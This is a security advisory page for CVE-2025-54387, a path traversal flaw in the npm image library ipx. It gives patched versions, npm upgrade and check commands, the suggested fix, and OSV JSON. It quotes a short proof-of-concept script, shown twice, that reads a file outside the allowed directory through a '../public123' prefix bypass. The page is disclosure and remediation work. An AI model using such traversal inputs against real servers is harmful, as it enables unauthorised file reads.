CVE-2025-54387: Ipx Path Traversal Vulnerability

MODERATE
Advisory Identifier: GHSA-mm3p-j368-7jcr
CWE-22
Published
Advisory Summary

CVE-2025-54387 is a MODERATE path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Ipx libraries in the npm ecosystem. The issue involves ipx allows path traversal via prefix matching bypass. Remediation is available by upgrading affected packages to version 1.3.2, 2.1.1, 3.1.1.

CVE-2025-54387 at a Glance

CVE Identifier CVE-2025-54387
GHSA Identifier GHSA-mm3p-j368-7jcr
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Ipx
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2025-54387

To remediate this vulnerability, upgrade all affected Ipx dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

ipx fixed: 1.3.2
npm install ipx@1.3.2
ipx fixed: 2.1.1
npm install ipx@2.1.1
ipx fixed: 3.1.1
npm install ipx@3.1.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls ipx

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-54387, inspect your project dependencies using npm:

npm ls ipx

Analyze the terminal output to locate any version of Ipx in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.3.2), your application is affected.

Note: The npm ls ipx command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Ipx, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison. ### PoC - setup ``` mkdir ~/public123 move a png file under ~/public123 with name test.png cd npm i ipx ``` - `main.js` ```js import { createIPX, ipxFSStorage } from "ipx"; const ipx = createIPX({ storage: ipxFSStorage({ dir: "./public" }), }); (async () => { { const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder const { data, format } = await source.process(); console.log(format) // print image data } { try { const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same const { data, format } = await source.process(); console.log(data) } catch (err) { console.log(err.message) // Forbidden path: } } })() ``` - `node main.js` ``` png Forbidden path: /../publi123/test.png ``` ### Impact Path Traversal ### Possible Fix Check if the `dir` ends with `/` (path separator) and if not, add before calling `startsWith`

CVE-2025-54387 Affected Ipx Versions

3 component(s)
Fixed Versions:
1.3.22.1.13.1.1
Product / Package Ecosystem Affected Versions Fixed Version
ipx
npm
< 1.3.2
1.3.2
ipx
npm
≥ 2.0.0-0
< 2.1.1
2.1.1
ipx
npm
≥ 3.0.0
< 3.1.1
3.1.1

References

Frequently Asked Questions

What is CVE-2025-54387?
CVE-2025-54387 is a security vulnerability in Ipx involving IPX Allows Path Traversal via Prefix Matching Bypass under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Ipx versions are affected?
Affected versions include releases prior to 1.3.2, 2.1.1, 3.1.1 across affected packages: ipx.
What version fixes CVE-2025-54387?
Upgrading to 1.3.2, 2.1.1, 3.1.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is ipx affected?
Yes, ipx is affected in releases prior to 1.3.2, 2.1.1, 3.1.1. Upgrade your dependency to 1.3.2, 2.1.1, 3.1.1 or later.
What CWE is associated with CVE-2025-54387?
CVE-2025-54387 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check npm dependencies for CVE-2025-54387?
Run the dependency tree command: 'npm ls ipx'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mm3p-j368-7jcr",
  "modified" : "2025-08-05T17:10:13Z",
  "published" : "2025-08-04T14:48:25Z",
  "aliases" : [ "CVE-2025-54387" ],
  "summary" : "IPX Allows Path Traversal via Prefix Matching Bypass",
  "details" : "### Summary\n\nThe approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.\n\n\n### PoC\n\n- setup\n```\nmkdir ~/public123\nmove a png file under ~/public123 with name test.png\ncd\nnpm i ipx \n```\n\n- `main.js`\n```js\nimport { createIPX, ipxFSStorage } from \"ipx\";\n\nconst ipx = createIPX({\n  storage: ipxFSStorage({ dir: \"./public\" }),\n});\n\n\n(async () => { \n    {\n        const source = await ipx(\"../public123/test.png\"); // access file outside ./public dir because of same prefix folder\n        const { data, format } = await source.process();\n        console.log(format) // print image data\n    }\n    {\n        try {\n            const source = await ipx(\"../publi123/test.png\"); // forbidden path: the prefix is not the same\n            const { data, format } = await source.process();\n            console.log(data)\n        } catch (err) {\n            console.log(err.message) // Forbidden path:\n        }\n\n    }\n\n})()\n```\n\n- `node main.js`\n```\npng\nForbidden path: /../publi123/test.png\n```\n\n### Impact\nPath Traversal\n\n### Possible Fix\n\nCheck if the `dir` ends with `/` (path separator) and if not, add before calling `startsWith`",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:L/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "ipx"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.3.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "ipx"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0-0"
      }, {
        "fixed" : "2.1.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "ipx"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.1.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/unjs/ipx/security/advisories/GHSA-mm3p-j368-7jcr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54387"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/unjs/ipx/commit/81693ddbfc062cc922e4e2406e8427ab4e3ad214"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/unjs/ipx"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/unjs/ipx/releases/tag/v1.3.2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/unjs/ipx/releases/tag/v2.1.1"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/unjs/ipx/releases/tag/v3.1.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-08-04T14:48:25Z",
    "nvd_published_at" : "2025-08-05T01:15:41Z"
  }
}